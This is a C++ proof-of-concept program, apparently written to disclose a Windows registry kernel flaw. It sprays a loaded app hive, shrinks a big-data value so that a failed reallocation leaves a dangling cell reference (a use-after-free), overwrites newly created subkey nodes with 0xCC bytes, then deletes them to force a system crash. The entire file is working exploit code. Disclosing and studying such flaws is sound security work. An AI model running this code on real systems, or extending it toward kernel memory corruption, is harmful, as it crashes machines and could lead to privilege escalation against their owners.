#include <Windows.h>

#include <cstdio>
#include <vector>

#pragma comment(lib, "ntdll")

extern "C" {

NTSTATUS NTAPI NtDeleteKey(
  HANDLE KeyHandle
);

}  // extern "C"

int main(int argc, char** argv) {
  if (argc != 2) {
    printf("Usage: %s <hive file>\n", argv[0]);
    return 1;
  }

  LONG st;
  HKEY hkey;

  CONST ULONG kMaxValueSize = 512 * 1024 * 1024;  // 512 MiB
  PBYTE chValueData = (PBYTE)malloc(kMaxValueSize);

  if (chValueData == NULL) {
    printf("malloc(%u) failed\n", kMaxValueSize);
    return 1;
  }

  memset(chValueData, 0xCC, kMaxValueSize);

  do {
    st = RegLoadAppKeyA(argv[1], &hkey, KEY_ALL_ACCESS, 0, 0);
    if (st != ERROR_SUCCESS) {
      break;
    }

    printf("Hive successfully loaded\n");

    // Allocate space in the hive by creating values of descending length, up
    // to the point where there is no room left in the hive for new allocations.
    ULONG ulSprayAllocSize = kMaxValueSize;
    for (ULONG i = 0; ulSprayAllocSize > 0; i++) {
      CHAR chValueName[10];
      _snprintf_s(chValueName, sizeof(chValueName), "%.8x", i);

      st = RegSetKeyValueA(hkey, NULL, chValueName, REG_BINARY, chValueData, ulSprayAllocSize);
      if (st == ERROR_SUCCESS) {
        printf("Sprayed %u bytes of hive storage\n", ulSprayAllocSize);
      }
      else {
        ulSprayAllocSize /= 2;
      }
    }

    // Shrink the long value "Value" by a single 16344-byte unit, which
    // decreases the length of the Big Data index by one, and causes a
    // rellocation 0x4008 -> 0x4004 bytes, which gets aligned up to 0x8000
    // bytes and fails. As a result the last 16344-byte chunk is freed,
    // but the value still holds a reference to it.
    //
    // The expected return value is ERROR_NO_SYSTEM_RESOURCES.
    st = RegSetKeyValueA(hkey, NULL, "Value", REG_BINARY, chValueData, (0x4004 / 4) * 16344);
    if (st != ERROR_NO_SYSTEM_RESOURCES) {
      break;
    }

    printf("Long value successfully shrunk\n");

    // Fill up the previously freed 16 KiB space with new subkey nodes.
    std::vector<HKEY> subkeys;

    for (ULONG i = 0;; i++) {
      HKEY hsubkey;
      CHAR chSubKeyName[16];

      _snprintf_s(chSubKeyName, sizeof(chSubKeyName), "SubKey%u", i);

      st = RegCreateKeyExA(hkey, chSubKeyName, 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hsubkey, NULL);
      if (st != ERROR_SUCCESS) {
        break;
      }

      subkeys.push_back(hsubkey);
    }

    printf("Subkeys successfully created\n");

    // Overwrite the _CM_KEY_NODE structures of the new subkeys by setting the
    // data of the long value back to all 0xCC's, including the last chunk with
    // a dangling cell index reference.
    st = RegSetKeyValueA(hkey, NULL, "Value", REG_BINARY, chValueData, (0x4008 / 4) * 16344);
    if (st != ERROR_SUCCESS) {
      break;
    }

    printf("Long value successfully restored\n");

    // Try to delete the previously created subkeys, which are now overwritten.
    // This should cause a bugcheck.
    for (ULONG i = 0; i < subkeys.size(); i++) {
      NtDeleteKey(subkeys[i]);
      RegCloseKey(subkeys[i]);
    }

    printf("Subkeys successfully deleted\n");
    
    RegCloseKey(hkey);
  } while (0);

error:
  if (st != ERROR_SUCCESS) {
    printf("Call failed with error %d\n", st);
  }

  return 0;
}